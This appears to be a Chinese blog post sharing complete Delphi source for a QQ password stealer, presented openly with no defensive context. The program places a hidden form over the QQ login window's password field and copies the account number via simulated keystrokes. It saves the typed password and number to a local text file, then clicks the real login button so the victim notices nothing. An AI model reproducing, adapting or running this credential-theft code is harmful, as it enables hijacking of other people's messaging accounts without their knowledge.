源码取qq密码

源码如下
unit getQQ;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls,clipbrd;

type

TForm1 = class(TForm)

Timer1: TTimer;

Timer2: TTimer;

Timer3: TTimer;

Edit1: TEdit;

Timer4: TTimer;

Timer5: TTimer;

Timer6: TTimer;

procedure Timer6Timer(Sender: TObject);

procedure Timer5Timer(Sender: TObject);

procedure Timer4Timer(Sender: TObject);

procedure Edit1KeyPress(Sender: TObject; var Key: Char);

procedure Timer3Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Timer2Timer(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

rect:Trect;

h_combobox,h_parentedit,h_pw,h:Thandle;

implementation

{$R *.dfm}

procedure Mygetwindowrect(); //使form1移到QQ edit控件的坐标

var

rect1:Trect;

begin

getwindowrect(h_parentedit,rect1);

if (rect1.Top<>rect.top) or (rect1.left<>rect.left) then

begin

getwindowrect(h_parentedit,rect); //edit父窗口坐标

form1.Left:=rect.Left;

form1.top:=rect.top;

end;

end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);

var

f:Textfile;

begin

if key=#13 then

begin

Assignfile(f,"c:/djsyz.txt");

if not FileExists("c:/djsyz.txt") then rewrite(f);

append(f);

writeln(f,"密码:"+edit1.Text);//写入密码

edit1.Text:=clipboard.AsText;

writeln(f,"号码:"+edit1.Text);//写入号码

writeln(f,"-------------");//写入号码

edit1.Clear;

closefile(f);

sendmessage(findwindowex(h,0,"Button","登录"),wm_Lbuttondown,0,0);

sendmessage(findwindowex(h,0,"Button","登录"),wm_lbuttonUP,0,0);

form1.Hide;

timer1.Enabled:=false;

timer2.Enabled:=false;

timer3.Enabled:=false;

timer4.Enabled:=false;

timer5.Enabled:=false;

timer6.Enabled:=true;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

timer1.Interval:=400;

timer2.Interval:=100;

timer3.Interval:=100;

timer4.Interval:=100;

timer5.Interval:=90;

timer6.Interval:=30000;

timer1.Enabled:=true;

timer2.Enabled:=false;

timer3.Enabled:=false;

timer4.Enabled:=false;

timer5.Enabled:=true;

timer6.Enabled:=false;

end;

procedure TForm1.Timer1Timer(Sender: TObject); //确认QQ主窗口

begin

form1.Hide;

h:=findwindow ("#32770","QQ用户登录") ;

if (h>0) then

begin

form1.visible:=true;

h_combobox:=findwindowex(h,0,"ComboBox",nil);

h_parentedit:=findwindowex(h,0,"#32770",nil); //查找密码edit的父窗口

h_pw:=findwindowex(h_parentedit,0,"edit",nil); //找到密码edit,并赋值给hhh

getwindowrect(h_parentedit,rect); //edit父窗口坐标

SetWindowPos(h, HWND_NOTOPMOST, 0, 0, 0, 0,

SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE or SWP_NOOWNERZORDER);

form1.Left:=rect.Left;

form1.top:=rect.top;

timer1.Enabled:=false;

timer2.Enabled:=true;

end;

end;

procedure TForm1.Timer2Timer(Sender: TObject);//焦点是否在edit1上就取号码,然后用timer3跟踪

begin

Mygetwindowrect;

if Edit1.Handle=getfocus then

begin

postmessage(h_combobox, wm_Lbuttondown, 0,0);

postmessage(h_combobox, wm_Lbuttonup, 0, 0);

setforegroundwindow(h);

keybd_event(17, 0, 0, 0);

keybd_event(ord("C"), 0, 0, 0);

keybd_event(17, 0, KEYEVENTF_KEYUP, 0);

keybd_event(ord("C"), 0, KEYEVENTF_KEYUP, 0);

postmessage(h_pw, wm_Lbuttondown, 0,0);

postmessage(h_pw, wm_Lbuttonup, 0, 0);

timer2.Enabled:=false;

timer3.Enabled:=true;

setforegroundwindow(handle);

end;

end;

procedure TForm1.Timer3Timer(Sender: TObject); //跟踪焦点是否离开了edit1

var

hh:Thandle;

begin

Mygetwindowrect;

AttachThreadInput(GetCurrentThreadID, GetWindowThreadProcessID(findwindow ("#32770","QQ用户登录") ,nil),true);

hh:=GetFocus;

AttachThreadInput(GetCurrentThreadID,GetWindowThreadProcessID(findwindow ("#32770","QQ用户登录") ,nil),false);

if (Edit1.Handle<>getfocus) then //焦点离开edit1之后,就用timer4跟踪焦点什么时候到QQ密码处

begin

timer3.Enabled:=false;

timer4.Enabled:=true;

form1.hide;

end;

end;

procedure TForm1.Timer4Timer(Sender: TObject); //跟踪焦点是否在QQ输入密码处 ,在就返回到timer2

var

hh:Thandle;

begin

AttachThreadInput(GetCurrentThreadID, GetWindowThreadProcessID(findwindow("#32770","QQ用户登录"),nil),true);

hh:=GetFocus;

AttachThreadInput(GetCurrentThreadID,GetWindowThreadProcessID(findwindow("#32770","QQ用户登录"),nil),false);

if (hh=H_pw) then

begin

form1.show;

timer4.Enabled:=false;

timer2.Enabled:=true;

end;

end;

procedure TForm1.Timer5Timer(Sender: TObject); //判断QQ窗口是否存在

begin

if findwindow ("#32770","QQ用户登录")=0 then

begin

timer1.Enabled:=true;

timer2.Enabled:=false;

timer3.Enabled:=false;

timer4.Enabled:=false;

end;

end;

procedure TForm1.Timer6Timer(Sender: TObject); //停止程序30秒

begin

timer1.Enabled:=true;

timer2.Enabled:=false;

timer3.Enabled:=false;

timer4.Enabled:=false;

timer5.Enabled:=true;

timer6.Enabled:=false;

end;
end.
© 版权声明
THE END
喜欢就支持一下吧
点赞15
分享
评论 共1条

请登录后发表评论